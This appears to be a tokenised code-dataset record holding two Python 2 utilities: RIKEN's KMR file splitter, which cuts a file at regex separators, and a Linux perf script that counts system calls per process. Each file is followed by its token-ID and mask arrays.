pf-aics-riken/kmr
|
cmd/kmrfsplit.py
|
1
|
5999
|
#!/usr/bin/python
# Copyright (C) 2012-2018 RIKEN R-CCS
## \file kmrfsplit.py KMR-Shell File Splitter.
import sys
import os
import re
from optparse import OptionParser
## Write part of the inputfile to outputfile.
# @param ipath inputfile path.
# @param opath outputfile path.
# @startpos start position of part.
# @endpos end position of part.
def writefile(ipath, opath, startpos, endpos) :
bufsize = 0x8000000
# read buffer size is 128Mbyte
try:
fin = open(ipath, "r")
except IOError:
print 'Error: could not open "%s".' % ipath
sys.exit()
try:
fout = open(opath, "w")
except IOError:
print 'Error: could not open "%s".' % opath
sys.exit()
fin.seek(startpos, 0)
remain = endpos - startpos
while remain > 0 :
# bufferd read/write.
if bufsize > remain :
bufsize = remain
buf = fin.read(bufsize)
fout.write(buf)
remain -= len(buf)
fin.close()
fout.close()
## Caluculate cutting point of file.
# Search separator string in proper position of input file
# and return cutting point of file.
# If separator string not found, print error message and exit.
#
# @param ipath input file path.
# @param sep separator string. (regular expression)
# @param startpos start position of separate.
# @param endpos end position of separate.
def getcuttingpoint(ipath, sep, startpos, partsize) :
bufsize = 0x8000000
# read buffer size is 128Mbyte
filesize = os.path.getsize(ipath)
if startpos + partsize > filesize :
# remain size of file is smaller than partition size.
endpos = filesize
else:
endpos = startpos + partsize
if endpos + bufsize > filesize :
bufsize = filesize - endpos
try:
f = open(ipath, "r")
except IOError:
print 'Error: could not open "%s".' % ipath
sys.exit()
f.seek(endpos, 0)
# read size of buffer.
buf = f.read(bufsize)
f.close()
# search separator string in the buffer.
p = re.compile(sep)
ret = p.search(buf)
if ret is None:
print "Separator not found in proper position.\n"
sys.exit()
endpos += ret.end()
return endpos
## Split a file using separator string.
#
# @param nums number of part to split.
# @param sep separator string. (regular expression)
# @param odir output directory of splitted files.
# @param opref output file prefix of splitted files.
# @param infile input file path.
def splitfile(nums, sep, odir, opref, infile) :
startpos = 0
filesize = os.path.getsize(infile)
partsize = filesize / nums
print "Splitting file: ",
for i in range(nums-1) :
endpos = getcuttingpoint(infile, sep, startpos, partsize)
# compose output file name.
# ex: partXXXXXX, where XXXXXX is number of part.
suffix = "%06d" % i
opath = os.path.join(odir, (opref + suffix))
# output cutted part of input file.
writefile(infile, opath, startpos, endpos)
startpos = endpos
sys.stdout.write('.')
sys.stdout.flush()
# output remain part of input file.
suffix = "%06d" % (nums-1)
opath = os.path.join(odir, (opref + suffix))
writefile(infile, opath, startpos, filesize)
print "done."
## kmrfsplit main routine.
# It works on Python 2.4 or later.
if __name__ == "__main__":
usage = "usage: %prog [options] inputfile"
parser = OptionParser(usage)
parser.add_option("-n",
"--num-separate",
dest="nums",
type="int",
help="number of file separation",
metavar="number",
default=1)
parser.add_option("-s",
"--separator",
dest="sep",
type="string",
help="separator string",
metavar="'string'",
default='\n')
parser.add_option("-d",
"--output-directory",
dest="odir",
type="string",
help="output directory",
metavar="'string'",
default="./")
parser.add_option("-p",
"--output-file-prefix",
dest="opref",
type="string",
help="output filename prefix",
metavar="'string'",
default="part")
parser.add_option("-f",
"--force",
dest="force",
action="store_true",
help="force option",
default=False)
(options, args) = parser.parse_args()
# parameter check.
if len(args) <> 1 :
parser.error("missing parameter")
sys.exit()
inputfile = args[0]
if not os.path.exists(inputfile) :
print 'Error: inputfile %s is not exist.' % inputfile
sys.exit()
if os.path.exists(options.odir) :
if not os.path.isdir(options.odir) :
print 'Error: "%s" is not directory.' % options.odir
sys.exit()
else:
if options.force :
try:
os.mkdir(options.odir)
except IOError:
print 'Error: could not create "%s".' % options.odir
sys.exit()
else:
print 'Error: directory "%s" is not exist. create it or use -f option.' % options.odir
sys.exit()
splitfile(options.nums, options.sep, options.odir, options.opref, inputfile)
# Copyright (C) 2012-2018 RIKEN R-CCS
# This library is distributed WITHOUT ANY WARRANTY. This library can be
# redistributed and/or modified under the terms of the BSD 2-Clause License.
|
bsd-2-clause
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
1898,
334,
35,
9,
6029,
13,
12682,
820,
41,
6945,
820,
13,
2571,
51,
199,
199,
309,
971,
493,
16155,
3941,
1294,
14,
647,
1804,
22153,
13,
8529,
3814,
11740,
351,
14,
199,
199,
646,
984,
199,
646,
747,
199,
646,
295,
199,
504,
8691,
492,
13491,
199,
199,
309,
221,
6990,
1777,
402,
314,
1324,
493,
370,
32513,
14,
199,
3,
257,
768,
635,
221,
284,
515,
221,
1324,
493,
931,
14,
199,
3,
257,
768,
635,
221,
312,
515,
221,
32513,
931,
14,
199,
3,
257,
768,
31837,
221,
1343,
3421,
402,
1777,
14,
199,
3,
257,
768,
500,
1712,
259,
1284,
3421,
402,
1777,
14,
199,
199,
318,
2218,
493,
8,
73,
515,
12,
312,
515,
12,
1343,
1712,
12,
26690,
9,
520,
272,
17080,
275,
378,
88,
24,
3273,
272,
327,
1586,
3335,
1568,
365,
7960,
45,
4414,
272,
862,
26,
267,
2583,
275,
1551,
8,
73,
515,
12,
298,
82,
531,
272,
871,
5925,
26,
2126,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
284,
515,
2126,
984,
14,
2224,
342,
339,
862,
26,
267,
17863,
275,
1551,
8,
79,
515,
12,
298,
87,
531,
272,
871,
5925,
26,
2126,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
312,
515,
2126,
984,
14,
2224,
342,
339,
2583,
14,
5507,
8,
31837,
12,
378,
9,
272,
5706,
275,
26690,
446,
1343,
1712,
272,
1830,
5706,
690,
378,
520,
267,
327,
3335,
68,
1586,
15,
952,
14,
267,
340,
17080,
690,
5706,
520,
288,
17080,
275,
5706,
267,
4123,
275,
2583,
14,
739,
8,
19146,
9,
267,
17863,
14,
952,
8,
1436,
9,
267,
5706,
4862,
822,
8,
1436,
9,
272,
2583,
14,
1600,
342,
272,
17863,
14,
1600,
342,
199,
199,
309,
221,
8256,
947,
5434,
10415,
1337,
2376,
402,
570,
14,
199,
3,
257,
8730,
9432,
1059,
315,
5576,
3421,
402,
1324,
570,
199,
3,
257,
436,
372,
10415,
1337,
2376,
402,
570,
14,
199,
3,
257,
982,
9432,
1059,
440,
1911,
12,
870,
1125,
1245,
436,
4458,
14,
199,
3,
199,
3,
257,
768,
635,
284,
515,
258,
1324,
570,
931,
14,
199,
3,
257,
768,
635,
7375,
755,
9432,
1059,
14,
334,
7898,
3965,
9,
199,
3,
257,
768,
635,
1343,
1712,
221,
1343,
3421,
402,
7396,
14,
199,
3,
257,
768,
635,
26690,
259,
1284,
3421,
402,
7396,
14,
199,
199,
318,
664,
5919,
1337,
1403,
8,
73,
515,
12,
7375,
12,
1343,
1712,
12,
1777,
890,
9,
520,
272,
17080,
275,
378,
88,
24,
3273,
272,
327,
1586,
3335,
1568,
365,
7960,
45,
4414,
272,
23858,
275,
747,
14,
515,
14,
20733,
8,
73,
515,
9,
272,
340,
1343,
1712,
435,
1777,
890,
690,
23858,
520,
267,
327,
5706,
1568,
402,
570,
365,
12700,
2419,
6484,
1568,
14,
267,
26690,
275,
23858,
272,
587,
26,
267,
26690,
275,
1343,
1712,
435,
1777,
890,
267,
340,
26690,
435,
17080,
690,
23858,
520,
288,
17080,
275,
23858,
446,
26690,
267,
862,
26,
288,
289,
275,
1551,
8,
73,
515,
12,
298,
82,
531,
267,
871,
5925,
26,
288,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
284,
515,
288,
984,
14,
2224,
342,
267,
289,
14,
5507,
8,
500,
1712,
12,
378,
9,
267,
327,
1586,
1568,
402,
3335,
14,
267,
4123,
275,
289,
14,
739,
8,
19146,
9,
267,
289,
14,
1600,
342,
267,
327,
2754,
9432,
1059,
315,
314,
3335,
14,
267,
299,
275,
295,
14,
2014,
8,
4127,
9,
267,
2203,
275,
299,
14,
1733,
8,
1436,
9,
267,
340,
2203,
365,
488,
26,
288,
870,
298,
23344,
440,
1911,
315,
5576,
3421,
3134,
78,
2,
288,
984,
14,
2224,
342,
267,
26690,
847,
2203,
14,
500,
342,
272,
372,
26690,
199,
199,
309,
221,
11740,
282,
570,
1808,
9432,
1059,
14,
199,
3,
199,
3,
257,
768,
635,
24047,
259,
1329,
402,
1777,
370,
3715,
14,
199,
3,
257,
768,
635,
7375,
258,
9432,
1059,
14,
334,
7898,
3965,
9,
199,
3,
257,
768,
635,
312,
694,
259,
1072,
2082,
402,
30183,
1584,
14,
199,
3,
257,
768,
635,
312,
13829,
257,
1072,
570,
2403,
402,
30183,
1584,
14,
199,
3,
257,
768,
635,
14734,
221,
1324,
570,
931,
14,
199,
199,
318,
3715,
493,
8,
16084,
12,
7375,
12,
312,
694,
12,
312,
13829,
12,
14734,
9,
520,
272,
1343,
1712,
275,
378,
272,
23858,
275,
747,
14,
515,
14,
20733,
8,
13880,
9,
272,
1777,
890,
275,
23858,
1182,
24047,
339,
870,
298,
8862,
1337,
570,
26,
3872,
272,
367,
284,
315,
1425,
8,
16084,
13,
17,
9,
520,
267,
26690,
275,
664,
5919,
1337,
1403,
8,
13880,
12,
7375,
12,
1343,
1712,
12,
1777,
890,
9,
398,
327,
23366,
1072,
570,
536,
14,
267,
327,
444,
26,
1777,
6873,
2483,
12,
2382,
5787,
13933,
365,
1329,
402,
1777,
14,
267,
4739,
275,
2071,
1690,
68,
2,
450,
284,
267,
312,
515,
275,
747,
14,
515,
14,
904,
8,
79,
694,
12,
334,
411,
1121,
435,
4739,
430,
267,
327,
1072,
10415,
471,
1777,
402,
1324,
570,
14,
267,
2218,
493,
8,
13880,
12,
312,
515,
12,
1343,
1712,
12,
26690,
9,
267,
1343,
1712,
275,
26690,
267,
984,
14,
2703,
14,
952,
7563,
199,
198,
1274,
14,
2703,
14,
4939,
342,
339,
327,
1072,
5706,
1777,
402,
1324,
570,
14,
272,
4739,
275,
2071,
1690,
68,
2,
450,
334,
16084,
13,
17,
9,
272,
312,
515,
275,
747,
14,
515,
14,
904,
8,
79,
694,
12,
334,
411,
1121,
435,
4739,
430,
272,
2218,
493,
8,
13880,
12,
312,
515,
12,
1343,
1712,
12,
23858,
9,
272,
870,
298,
4456,
2122,
199,
199,
309,
16155,
3941,
1294,
2446,
12981,
14,
199,
3,
221,
2779,
5419,
641,
2018,
499,
14,
20,
503,
2945,
14,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
339,
4503,
275,
298,
3807,
26,
450,
6595,
359,
1419,
61,
1324,
493,
2,
272,
1798,
275,
13491,
8,
3807,
9,
339,
1798,
14,
525,
63,
1422,
6096,
78,
401,
1993,
4320,
1507,
13,
24904,
401,
1993,
2053,
628,
16084,
401,
1993,
730,
628,
442,
401,
1993,
1720,
628,
1955
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
1898,
334,
35,
9,
6029,
13,
12682,
820,
41,
6945,
820,
13,
2571,
51,
199,
199,
309,
971,
493,
16155,
3941,
1294,
14,
647,
1804,
22153,
13,
8529,
3814,
11740,
351,
14,
199,
199,
646,
984,
199,
646,
747,
199,
646,
295,
199,
504,
8691,
492,
13491,
199,
199,
309,
221,
6990,
1777,
402,
314,
1324,
493,
370,
32513,
14,
199,
3,
257,
768,
635,
221,
284,
515,
221,
1324,
493,
931,
14,
199,
3,
257,
768,
635,
221,
312,
515,
221,
32513,
931,
14,
199,
3,
257,
768,
31837,
221,
1343,
3421,
402,
1777,
14,
199,
3,
257,
768,
500,
1712,
259,
1284,
3421,
402,
1777,
14,
199,
199,
318,
2218,
493,
8,
73,
515,
12,
312,
515,
12,
1343,
1712,
12,
26690,
9,
520,
272,
17080,
275,
378,
88,
24,
3273,
272,
327,
1586,
3335,
1568,
365,
7960,
45,
4414,
272,
862,
26,
267,
2583,
275,
1551,
8,
73,
515,
12,
298,
82,
531,
272,
871,
5925,
26,
2126,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
284,
515,
2126,
984,
14,
2224,
342,
339,
862,
26,
267,
17863,
275,
1551,
8,
79,
515,
12,
298,
87,
531,
272,
871,
5925,
26,
2126,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
312,
515,
2126,
984,
14,
2224,
342,
339,
2583,
14,
5507,
8,
31837,
12,
378,
9,
272,
5706,
275,
26690,
446,
1343,
1712,
272,
1830,
5706,
690,
378,
520,
267,
327,
3335,
68,
1586,
15,
952,
14,
267,
340,
17080,
690,
5706,
520,
288,
17080,
275,
5706,
267,
4123,
275,
2583,
14,
739,
8,
19146,
9,
267,
17863,
14,
952,
8,
1436,
9,
267,
5706,
4862,
822,
8,
1436,
9,
272,
2583,
14,
1600,
342,
272,
17863,
14,
1600,
342,
199,
199,
309,
221,
8256,
947,
5434,
10415,
1337,
2376,
402,
570,
14,
199,
3,
257,
8730,
9432,
1059,
315,
5576,
3421,
402,
1324,
570,
199,
3,
257,
436,
372,
10415,
1337,
2376,
402,
570,
14,
199,
3,
257,
982,
9432,
1059,
440,
1911,
12,
870,
1125,
1245,
436,
4458,
14,
199,
3,
199,
3,
257,
768,
635,
284,
515,
258,
1324,
570,
931,
14,
199,
3,
257,
768,
635,
7375,
755,
9432,
1059,
14,
334,
7898,
3965,
9,
199,
3,
257,
768,
635,
1343,
1712,
221,
1343,
3421,
402,
7396,
14,
199,
3,
257,
768,
635,
26690,
259,
1284,
3421,
402,
7396,
14,
199,
199,
318,
664,
5919,
1337,
1403,
8,
73,
515,
12,
7375,
12,
1343,
1712,
12,
1777,
890,
9,
520,
272,
17080,
275,
378,
88,
24,
3273,
272,
327,
1586,
3335,
1568,
365,
7960,
45,
4414,
272,
23858,
275,
747,
14,
515,
14,
20733,
8,
73,
515,
9,
272,
340,
1343,
1712,
435,
1777,
890,
690,
23858,
520,
267,
327,
5706,
1568,
402,
570,
365,
12700,
2419,
6484,
1568,
14,
267,
26690,
275,
23858,
272,
587,
26,
267,
26690,
275,
1343,
1712,
435,
1777,
890,
267,
340,
26690,
435,
17080,
690,
23858,
520,
288,
17080,
275,
23858,
446,
26690,
267,
862,
26,
288,
289,
275,
1551,
8,
73,
515,
12,
298,
82,
531,
267,
871,
5925,
26,
288,
870,
283,
547,
26,
4293,
440,
1551,
2071,
83,
24217,
450,
284,
515,
288,
984,
14,
2224,
342,
267,
289,
14,
5507,
8,
500,
1712,
12,
378,
9,
267,
327,
1586,
1568,
402,
3335,
14,
267,
4123,
275,
289,
14,
739,
8,
19146,
9,
267,
289,
14,
1600,
342,
267,
327,
2754,
9432,
1059,
315,
314,
3335,
14,
267,
299,
275,
295,
14,
2014,
8,
4127,
9,
267,
2203,
275,
299,
14,
1733,
8,
1436,
9,
267,
340,
2203,
365,
488,
26,
288,
870,
298,
23344,
440,
1911,
315,
5576,
3421,
3134,
78,
2,
288,
984,
14,
2224,
342,
267,
26690,
847,
2203,
14,
500,
342,
272,
372,
26690,
199,
199,
309,
221,
11740,
282,
570,
1808,
9432,
1059,
14,
199,
3,
199,
3,
257,
768,
635,
24047,
259,
1329,
402,
1777,
370,
3715,
14,
199,
3,
257,
768,
635,
7375,
258,
9432,
1059,
14,
334,
7898,
3965,
9,
199,
3,
257,
768,
635,
312,
694,
259,
1072,
2082,
402,
30183,
1584,
14,
199,
3,
257,
768,
635,
312,
13829,
257,
1072,
570,
2403,
402,
30183,
1584,
14,
199,
3,
257,
768,
635,
14734,
221,
1324,
570,
931,
14,
199,
199,
318,
3715,
493,
8,
16084,
12,
7375,
12,
312,
694,
12,
312,
13829,
12,
14734,
9,
520,
272,
1343,
1712,
275,
378,
272,
23858,
275,
747,
14,
515,
14,
20733,
8,
13880,
9,
272,
1777,
890,
275,
23858,
1182,
24047,
339,
870,
298,
8862,
1337,
570,
26,
3872,
272,
367,
284,
315,
1425,
8,
16084,
13,
17,
9,
520,
267,
26690,
275,
664,
5919,
1337,
1403,
8,
13880,
12,
7375,
12,
1343,
1712,
12,
1777,
890,
9,
398,
327,
23366,
1072,
570,
536,
14,
267,
327,
444,
26,
1777,
6873,
2483,
12,
2382,
5787,
13933,
365,
1329,
402,
1777,
14,
267,
4739,
275,
2071,
1690,
68,
2,
450,
284,
267,
312,
515,
275,
747,
14,
515,
14,
904,
8,
79,
694,
12,
334,
411,
1121,
435,
4739,
430,
267,
327,
1072,
10415,
471,
1777,
402,
1324,
570,
14,
267,
2218,
493,
8,
13880,
12,
312,
515,
12,
1343,
1712,
12,
26690,
9,
267,
1343,
1712,
275,
26690,
267,
984,
14,
2703,
14,
952,
7563,
199,
198,
1274,
14,
2703,
14,
4939,
342,
339,
327,
1072,
5706,
1777,
402,
1324,
570,
14,
272,
4739,
275,
2071,
1690,
68,
2,
450,
334,
16084,
13,
17,
9,
272,
312,
515,
275,
747,
14,
515,
14,
904,
8,
79,
694,
12,
334,
411,
1121,
435,
4739,
430,
272,
2218,
493,
8,
13880,
12,
312,
515,
12,
1343,
1712,
12,
23858,
9,
272,
870,
298,
4456,
2122,
199,
199,
309,
16155,
3941,
1294,
2446,
12981,
14,
199,
3,
221,
2779,
5419,
641,
2018,
499,
14,
20,
503,
2945,
14,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
339,
4503,
275,
298,
3807,
26,
450,
6595,
359,
1419,
61,
1324,
493,
2,
272,
1798,
275,
13491,
8,
3807,
9,
339,
1798,
14,
525,
63,
1422,
6096,
78,
401,
1993,
4320,
1507,
13,
24904,
401,
1993,
2053,
628,
16084,
401,
1993,
730,
628,
442,
401,
1993,
1720,
628,
1955,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jakew02/android_kernel_moto_shamu
|
tools/perf/scripts/python/syscall-counts-by-pid.py
|
11180
|
1927
|
# system call counts, by pid
# (c) 2010, Tom Zanussi <tzanussi@gmail.com>
# Licensed under the terms of the GNU GPL License version 2
#
# Displays system-wide system call totals, broken down by syscall.
# If a [comm] arg is specified, only syscalls called by [comm] are displayed.
import os, sys
sys.path.append(os.environ['PERF_EXEC_PATH'] + \
'/scripts/python/Perf-Trace-Util/lib/Perf/Trace')
from perf_trace_context import *
from Core import *
from Util import syscall_name
usage = "perf script -s syscall-counts-by-pid.py [comm]\n";
for_comm = None
for_pid = None
if len(sys.argv) > 2:
sys.exit(usage)
if len(sys.argv) > 1:
try:
for_pid = int(sys.argv[1])
except:
for_comm = sys.argv[1]
syscalls = autodict()
def trace_begin():
print "Press control+C to stop and show the summary"
def trace_end():
print_syscall_totals()
def raw_syscalls__sys_enter(event_name, context, common_cpu,
common_secs, common_nsecs, common_pid, common_comm,
id, args):
if (for_comm and common_comm != for_comm) or \
(for_pid and common_pid != for_pid ):
return
try:
syscalls[common_comm][common_pid][id] += 1
except TypeError:
syscalls[common_comm][common_pid][id] = 1
def print_syscall_totals():
if for_comm is not None:
print "\nsyscall events for %s:\n\n" % (for_comm),
else:
print "\nsyscall events by comm/pid:\n\n",
print "%-40s %10s\n" % ("comm [pid]/syscalls", "count"),
print "%-40s %10s\n" % ("----------------------------------------", \
"----------"),
comm_keys = syscalls.keys()
for comm in comm_keys:
pid_keys = syscalls[comm].keys()
for pid in pid_keys:
print "\n%s [%d]\n" % (comm, pid),
id_keys = syscalls[comm][pid].keys()
for id, val in sorted(syscalls[comm][pid].iteritems(), \
key = lambda(k, v): (v, k), reverse = True):
print " %-38s %10d\n" % (syscall_name(id), val),
|
gpl-2.0
|
[
3,
2656,
1240,
8242,
12,
701,
4422,
199,
3,
334,
67,
9,
7129,
12,
21644,
29385,
665,
29453,
32,
6799,
14,
957,
30,
199,
3,
3909,
1334,
314,
2895,
402,
314,
1664,
14629,
844,
1015,
499,
199,
3,
199,
3,
28750,
2656,
13,
13062,
2656,
1240,
23576,
12,
10529,
3224,
701,
18901,
14,
199,
3,
982,
282,
359,
1404,
61,
1680,
365,
2013,
12,
1454,
19473,
2797,
701,
359,
1404,
61,
787,
9080,
14,
199,
199,
646,
747,
12,
984,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
2314,
459,
17038,
63,
10276,
63,
3243,
418,
435,
971,
199,
198,
9807,
6429,
15,
1548,
15,
12387,
13,
3921,
13,
9562,
15,
773,
15,
12387,
15,
3921,
358,
199,
199,
504,
8582,
63,
3446,
63,
1100,
492,
627,
199,
504,
11672,
492,
627,
199,
504,
21248,
492,
18901,
63,
354,
199,
199,
3807,
275,
298,
9452,
2884,
446,
83,
18901,
13,
6851,
13,
991,
13,
3150,
14,
647,
359,
1404,
7272,
78,
11436,
199,
199,
509,
63,
1404,
275,
488,
199,
509,
63,
3150,
275,
488,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
690,
499,
26,
199,
198,
1274,
14,
2224,
8,
3807,
9,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
690,
413,
26,
199,
198,
893,
26,
507,
198,
509,
63,
3150,
275,
1109,
8,
1274,
14,
3020,
59,
17,
566,
199,
198,
2590,
26,
507,
198,
509,
63,
1404,
275,
984,
14,
3020,
59,
17,
61,
199,
199,
14507,
275,
27477,
342,
199,
199,
318,
3307,
63,
5037,
837,
199,
198,
1361,
298,
14414,
3304,
11,
35,
370,
3631,
436,
2498,
314,
6212,
2,
199,
199,
318,
3307,
63,
500,
837,
199,
198,
1361,
63,
19444,
63,
17552,
342,
199,
199,
318,
3066,
63,
14507,
363,
1274,
63,
4200,
8,
1430,
63,
354,
12,
1067,
12,
2863,
63,
3541,
12,
199,
198,
2330,
63,
4855,
12,
2863,
63,
9618,
12,
2863,
63,
3150,
12,
2863,
63,
1404,
12,
199,
198,
344,
12,
1249,
304,
421,
198,
692,
334,
509,
63,
1404,
436,
2863,
63,
1404,
1137,
367,
63,
1404,
9,
503,
971,
21979,
334,
509,
63,
3150,
221,
436,
2863,
63,
3150,
221,
1137,
367,
63,
3150,
3461,
507,
198,
1107,
199,
198,
893,
26,
507,
198,
14507,
59,
2330,
63,
1404,
1527,
2330,
63,
3150,
1527,
344,
61,
847,
413,
199,
198,
2590,
3146,
26,
507,
198,
14507,
59,
2330,
63,
1404,
1527,
2330,
63,
3150,
1527,
344,
61,
275,
413,
199,
199,
318,
870,
63,
19444,
63,
17552,
837,
272,
340,
367,
63,
1404,
365,
440,
488,
26,
6722,
870,
1867,
26605,
4474,
367,
450,
83,
3427,
78,
60,
78,
2,
450,
334,
509,
63,
1404,
395,
272,
587,
26,
6722,
870,
1867,
26605,
4474,
701,
1923,
15,
3150,
3427,
78,
60,
78,
401,
339,
870,
18301,
2167,
83,
221,
450,
709,
83,
60,
78,
2,
450,
1689,
1404,
359,
3150,
12978,
14507,
401,
298,
835,
1288,
272,
870,
18301,
2167,
83,
221,
450,
709,
83,
60,
78,
2,
450,
1689,
32111,
401,
971,
639,
298,
9460,
1288,
339,
1923,
63,
1612,
275,
19473,
14,
1612,
342,
272,
367,
1923,
315,
1923,
63,
1612,
26,
6722,
4422,
63,
1612,
275,
19473,
59,
1404,
1055,
1612,
342,
6722,
367,
4422,
315,
4422,
63,
1612,
26,
15075,
870,
1867,
78,
5,
83,
8978,
68,
7272,
78,
2,
450,
334,
1404,
12,
4422,
395,
15075,
1305,
63,
1612,
275,
19473,
59,
1404,
1527,
3150,
1055,
1612,
342,
15075,
367,
1305,
12,
1139,
315,
3355,
8,
14507,
59,
1404,
1527,
3150,
1055,
4611,
1062,
971,
1871,
221,
790,
275,
2400,
8,
75,
12,
373,
304,
334,
86,
12,
1022,
395,
221,
3837,
275,
715,
304,
24449,
870,
298,
221,
19752,
1703,
83,
221,
450,
709,
68,
60,
78,
2,
450,
334,
19444,
63,
354,
8,
344,
395,
1139,
395,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2656,
1240,
8242,
12,
701,
4422,
199,
3,
334,
67,
9,
7129,
12,
21644,
29385,
665,
29453,
32,
6799,
14,
957,
30,
199,
3,
3909,
1334,
314,
2895,
402,
314,
1664,
14629,
844,
1015,
499,
199,
3,
199,
3,
28750,
2656,
13,
13062,
2656,
1240,
23576,
12,
10529,
3224,
701,
18901,
14,
199,
3,
982,
282,
359,
1404,
61,
1680,
365,
2013,
12,
1454,
19473,
2797,
701,
359,
1404,
61,
787,
9080,
14,
199,
199,
646,
747,
12,
984,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
2314,
459,
17038,
63,
10276,
63,
3243,
418,
435,
971,
199,
198,
9807,
6429,
15,
1548,
15,
12387,
13,
3921,
13,
9562,
15,
773,
15,
12387,
15,
3921,
358,
199,
199,
504,
8582,
63,
3446,
63,
1100,
492,
627,
199,
504,
11672,
492,
627,
199,
504,
21248,
492,
18901,
63,
354,
199,
199,
3807,
275,
298,
9452,
2884,
446,
83,
18901,
13,
6851,
13,
991,
13,
3150,
14,
647,
359,
1404,
7272,
78,
11436,
199,
199,
509,
63,
1404,
275,
488,
199,
509,
63,
3150,
275,
